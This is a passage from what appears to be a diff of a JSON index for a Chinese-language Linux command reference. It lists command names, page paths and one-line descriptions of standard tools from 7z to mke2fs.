卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file +{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"column":{"n":"column","p":"/column","d":"按列格式化输出文件"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"createrepo":{"n":"createrepo","p":"/createrepo","d":"创建YUM仓库"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"docker":{"n":"docker","p":"/docker","d":"容器化技术，可以将应用程序及其依赖项打包到一个可移植的容器中，使其可以在不同的环境中运行"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"figlet":{"n":"figlet","p":"/figlet","d":"字符串转为 “字画符”。"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getent":{"n":"getent","p":"/getent","d":"查询 DNS 名称服务器中的命名空间"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpg":{"n":"gpg","p":"/gpg","d":"可用于签名、检查、加密或解密的工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"/groupadd","d":"用于创建一个新的工作组"},"groupdel":{"n":"groupdel","p":"/groupdel","d":"用于删除指定的工作组"},"groupmems":{"n":"groupmems","p":"/groupmems","d":"管理用户主要组的成员"},"groupmod":{"n":"groupmod","p":"/groupmod","d":"更改群组识别码或名称"},"groups":{"n":"groups","p":"/groups","d":"打印指定用户所在组的名称。"},"grpck":{"n":"grpck","p":"/grpck","d":"用于验证组文件的完整性"},"grpconv":{"n":"grpconv","p":"/grpconv","d":"用来开启群组的投影密码"},"grpunconv":{"n":"grpunconv","p":"/grpunconv","d":"用来关闭群组的投影密码"},"grub":{"n":"grub","p":"/grub","d":"多重引导程序grub的命令行shell工具"},"grub2-mkconfig":{"n":"grub2-mkconfig","p":"/grub2-mkconfig","d":"生成 grub.cfg 配置文件。"},"grub2-set-default":{"n":"grub2-set-default","p":"/grub2-set-default","d":"设置系统默认的启动内核"},"gunzip":{"n":"gunzip","p":"/gunzip","d":"用来解压缩文件"},"gzexe":{"n":"gzexe","p":"/gzexe","d":"用来压缩可执行文件"},"gzip":{"n":"gzip","p":"/gzip","d":"用来压缩文件"},"halt":{"n":"halt","p":"/halt","d":"关闭正在运行的Linux操作系统"},"hcitool":{"n":"hcitool","p":"/hcitool","d":"hcitool是一个Linux命令行工具，用于管理和调试蓝牙设备。它可以用于扫描周围的蓝牙设备、连接到蓝牙设备发送命令和数据包等。"},"hdparm":{"n":"hdparm","p":"/hdparm","d":"显示与设定硬盘的参数"},"head":{"n":"head","p":"/head","d":"显示文件的开头部分。"},"help":{"n":"help","p":"/help","d":"该命令是bash内建命令，用于显示bash内建命令的帮助信息。"},"hexdump":{"n":"hexdump","p":"/hexdump","d":"显示文件十六进制格式"},"history":{"n":"history","p":"/history","d":"显示或操作历史列表。"},"host":{"n":"host","p":"/host","d":"常用的分析域名查询工具"},"hostid":{"n":"hostid","p":"/hostid","d":"显示当前主机的十六进制数字标识。"},"hostname":{"n":"hostname","p":"/hostname","d":"显示和设置系统的主机名"},"hostnamectl":{"n":"hostnamectl","p":"/hostnamectl","d":"查询或更改系统主机名"},"hping3":{"n":"hping3","p":"/hping3","d":"测试网络及主机的安全"},"htdigest":{"n":"htdigest","p":"/htdigest","d":"Apache服务器内置工具"},"htop":{"n":"htop","p":"/htop","d":"[非内部命令]一个互动的进程查看器，可以动态观察系统进程状况"},"htpasswd":{"n":"htpasswd","p":"/htpasswd","d":"apache服务器创建密码认证文件"},"hwclock":{"n":"hwclock","p":"/hwclock","d":"显示与设定硬件时钟"},"iconv":{"n":"iconv","p":"/iconv","d":"转换文件的编码方式"},"id":{"n":"id","p":"/id","d":"打印真实以及有效的用户和所在组的信息"},"ifcfg":{"n":"ifcfg","p":"/ifcfg","d":"置Linux中的网络接口参数"},"ifconfig":{"n":"ifconfig","p":"/ifconfig","d":"配置和显示Linux系统网卡的网络参数"},"ifdown":{"n":"ifdown","p":"/ifdown","d":"禁用指定的网络接口"},"ifstat":{"n":"ifstat","p":"/ifstat","d":"统计网络接口流量状态"},"iftop":{"n":"iftop","p":"/iftop","d":"一款实时流量监控工具"},"ifup":{"n":"ifup","p":"/ifup","d":"激活指定的网络接口"},"indent":{"n":"indent","p":"/indent","d":"格式化C语言的源文件"},"info":{"n":"info","p":"/info","d":"Linux下info格式的帮助指令"},"init":{"n":"init","p":"/init","d":"init进程是所有Linux进程的父进程"},"inotifywait":{"n":"inotifywait","p":"/inotifywait","d":"异步文件系统监控机制"},"insmod":{"n":"insmod","p":"/insmod","d":"将给定的模块加载到内核中"},"install":{"n":"install","p":"/install","d":"安装或升级软件或备份数据"},"iostat":{"n":"iostat","p":"/iostat","d":"iostat命令被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况，同时也会汇报出CPU使用情况。同vmstat一样，iostat也有一个弱点，就是它不能对某个进程进行深入分析，仅对系统的整体情况进行分析。iowait 指在一个采样周期内有百分之几的时间是属于以下情况：CPU处于空闲状态并且至少有一个未完成的磁盘IO请求。"},"iotop":{"n":"iotop","p":"/iotop","d":"用来监视磁盘I/O使用状况的工具"},"ip":{"n":"ip","p":"/ip","d":"网络配置工具"},"ip6tables-restore":{"n":"ip6tables-restore","p":"/ip6tables-restore","d":"还原ip6tables表"},"ip6tables-save":{"n":"ip6tables-save","p":"/ip6tables-save","d":"保存ip6tables表配置"},"ip6tables":{"n":"ip6tables","p":"/ip6tables","d":"linux中防火墙软件"},"ipcalc":{"n":"ipcalc","p":"/ipcalc","d":"简单的IP地址计算器"},"ipcrm":{"n":"ipcrm","p":"/ipcrm","d":"删除消息队列、信号集、或者共享内存标识"},"ipcs":{"n":"ipcs","p":"/ipcs","d":"分析消息队列共享内存和信号量"},"iperf":{"n":"iperf","p":"/iperf","d":"网络性能测试工具"},"iptables-restore":{"n":"iptables-restore","p":"/iptables-restore","d":"还原iptables表的配置"},"iptables-save":{"n":"iptables-save","p":"/iptables-save","d":"备份iptables的表配置"},"iptables":{"n":"iptables","p":"/iptables","d":"Linux上常用的防火墙软件"},"iptraf":{"n":"iptraf","p":"/iptraf","d":"实时地监视网卡流量"},"iptstate":{"n":"iptstate","p":"/iptstate","d":"显示iptables的工作状态"},"iscsiadm":{"n":"iscsiadm","p":"/iscsiadm","d":"管理iSCSI连接"},"ispell":{"n":"ispell","p":"/ispell","d":"检查文件中出现的拼写错误"},"jed":{"n":"jed","p":"/jed","d":"主要用于编辑代码的编辑器"},"jobs":{"n":"jobs","p":"/jobs","d":"显示作业的状态。"},"joe":{"n":"joe","p":"/joe","d":"强大的纯文本编辑器"},"join":{"n":"join","p":"/join","d":"两个文件中指定栏位内容相同的行连接起来"},"journalctl":{"n":"journalctl","p":"/journalctl","d":"检索 systemd 日志，是 CentOS 7 才有的工具。"},"jq":{"n":"jq","p":"/jq","d":"一个灵活的轻量级命令行JSON处理器"},"jwhois":{"n":"jwhois","p":"/jwhois","d":"whois 客户端服务"},"kernelversion":{"n":"kernelversion","p":"/kernelversion","d":"打印当前内核的主版本号"},"kexec":{"n":"kexec","p":"/kexec","d":"从当前正在运行的内核引导到一个新内核"},"kill":{"n":"kill","p":"/kill","d":"发送信号到进程。"},"killall":{"n":"killall","p":"/killall","d":"使用进程的名称来杀死一组进程"},"last":{"n":"last","p":"/last","d":"列出目前与过去登入系统的用户相关信息"},"lastb":{"n":"lastb","p":"/lastb","d":"列出登入系统失败的用户相关信息"},"lastlog":{"n":"lastlog","p":"/lastlog","d":"显示系统中所有用户最近一次登录信息"},"ld":{"n":"ld","p":"/ld","d":"将目标文件连接为可执行程序"},"ldconfig":{"n":"ldconfig","p":"/ldconfig","d":"动态链接库管理命令"},"ldd":{"n":"ldd","p":"/ldd","d":"打印程序或者库文件所依赖的共享库列表"},"less":{"n":"less","p":"/less","d":"分屏上下翻页浏览文件内容"},"let":{"n":"let","p":"/let","d":"简单的计算器，执行算术表达式。"},"lftp":{"n":"lftp","p":"/lftp","d":"优秀的文件客户端程序"},"lftpget":{"n":"lftpget","p":"/lftpget","d":"调用lftp指令下载指定的文件"},"lha":{"n":"lha","p":"/lha","d":"压缩或解压缩lzh格式文件"},"lilo":{"n":"lilo","p":"/lilo","d":"安装核心载入开机管理程序"},"ln":{"n":"ln","p":"/ln","d":"用来为文件创建链接"},"lnstat":{"n":"lnstat","p":"/lnstat","d":"显示Linux系统的网路状态"},"local":{"n":"local","p":"/local","d":"在函数内定义局部变量。"},"locate":{"n":"locate","p":"/locate","d":"比 find 好用的文件查找工具"},"logger":{"n":"logger","p":"/logger","d":"在系统日志中记录相应条目"},"login":{"n":"login","p":"/login","d":"登录系统或切换用户身份"},"logname":{"n":"logname","p":"/logname","d":"打印当前终端登录用户的名称。"},"logout":{"n":"logout","p":"/logout","d":"退出当前登录的Shell"},"logrotate":{"n":"logrotate","p":"/logrotate","d":"系统日志进行轮转、压缩和删除"},"logsave":{"n":"logsave","p":"/logsave","d":"将命令的输出信息保存到指定的日志文件"},"logwatch":{"n":"logwatch","p":"/logwatch","d":"可定制和可插入式的日志监视系统"},"look":{"n":"look","p":"/look","d":"显示文件中以指定字符串开头的任意行"},"losetup":{"n":"losetup","p":"/losetup","d":"设定与控制循环（loop）设备"},"lp":{"n":"lp","p":"/lp","d":"打印文件或修改排队的打印任务"},"lpadmin":{"n":"lpadmin","p":"/lpadmin","d":"配置CUPS套件中的打印机和类"},"lpc":{"n":"lpc","p":"/lpc","d":"命令行方式打印机控制程序"},"lpq":{"n":"lpq","p":"/lpq","d":"显示打印队列中的打印任务的状态信息"},"lpr":{"n":"lpr","p":"/lpr","d":"将文件发送给指定打印机进行打印"},"lprm":{"n":"lprm","p":"/lprm","d":"删除打印队列中的打印任务"},"lpstat":{"n":"lpstat","p":"/lpstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建